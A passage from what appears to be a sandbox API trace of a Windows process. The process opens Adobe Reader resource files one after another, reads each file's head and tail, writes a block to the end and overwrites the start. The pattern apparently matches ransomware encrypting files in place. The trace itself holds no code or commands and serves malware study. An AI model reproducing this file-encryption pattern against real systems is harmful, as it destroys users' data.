(x86)\\adobe\\reader 10.0\\resource\\font\\courierstd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x8c8c [0041.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.512] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.512] ReleaseMutex (hMutex=0x128) returned 1 [0041.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd.otf", lpUsedDefaultChar=0x0) returned 14 [0041.512] ReadFile (in: hFile=0x198, lpBuffer=0x2809d28, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.798] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7c8c [0041.799] ReadFile (in: hFile=0x198, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.802] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7c8c [0041.803] WriteFile (in: hFile=0x198, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.803] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.803] WriteFile (in: hFile=0x198, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.803] CloseHandle (hObject=0x198) returned 1 [0041.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zx______.pfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.806] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.806] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2ab [0041.806] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.806] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.806] ReleaseMutex (hMutex=0x128) returned 1 [0041.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zx______.pfm", lpUsedDefaultChar=0x0) returned 12 [0041.806] ReadFile (in: hFile=0x168, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2c0f2bc*=0x2ab, lpOverlapped=0x0) returned 1 [0041.807] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.807] WriteFile (in: hFile=0x168, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x833, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2c0f2d0*=0x833, lpOverlapped=0x0) returned 1 [0041.807] CloseHandle (hObject=0x168) returned 1 [0041.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.808] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.808] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6c96 [0041.808] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.808] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.808] ReleaseMutex (hMutex=0x128) returned 1 [0041.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IN.txt", lpUsedDefaultChar=0x0) returned 30 [0041.808] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.810] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5c96 [0041.810] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.812] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5c96 [0041.812] WriteFile (in: hFile=0x168, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.813] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.813] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.813] CloseHandle (hObject=0x168) returned 1 [0041.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.816] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.816] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6c96 [0041.816] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.816] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.818] ReleaseMutex (hMutex=0x128) returned 1 [0041.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SD.txt", lpUsedDefaultChar=0x0) returned 30 [0041.820] ReadFile (in: hFile=0x198, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.825] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5c96 [0041.825] ReadFile (in: hFile=0x198, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.827] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5c96 [0041.829] WriteFile (in: hFile=0x198, lpBuffer=0x25c6e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.829] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.829] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.829] CloseHandle (hObject=0x198) returned 1 [0041.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.839] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.839] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x74c0 [0041.839] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.839] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.840] ReleaseMutex (hMutex=0x128) returned 1 [0041.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs_CZ.txt", lpUsedDefaultChar=0x0) returned 30 [0041.843] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.854] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x64c0 [0041.854] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.856] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x64c0 [0041.856] WriteFile (in: hFile=0x198, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.857] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.857] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.857] CloseHandle (hObject=0x198) returned 1 [0041.857] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.859] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.859] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6e88 [0041.859] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.859] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.859] ReleaseMutex (hMutex=0x128) returned 1 [0041.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB.txt", lpUsedDefaultChar=0x0) returned 30 [0041.859] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.861] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5e88 [0041.861] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.861] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5e88 [0041.861] WriteFile (in: hFile=0x198, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.862] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.862] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.862] CloseHandle (hObject=0x198) returned 1 [0041.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.863] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.863] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6ec8 [0041.863] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.863] ReleaseMutex (hMutex=0x128) returned 1 [0041.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_DO.txt", lpUsedDefaultChar=0x0) returned 30 [0041.864] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.921] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5ec8 [0041.921] ReadFile (in: hFile=0x198, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.928] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5ec8 [0041.928] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.928] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.928] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.928] CloseHandle (hObject=0x198) returned 1 [0041.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0041.936] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.936] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6ec8 [0041.936] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.937] ReleaseMutex (hMutex=0x128) returned 1 [0041.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PR.txt", lpUsedDefaultChar=0x0) returned 30 [0041.940] ReadFile (in: hFile=0x1cc, lpBuffer=0x2765028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2765028*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.950] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5ec8 [0041.952] ReadFile (in: hFile=0x1cc, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.976] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5ec8 [0041.976] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, 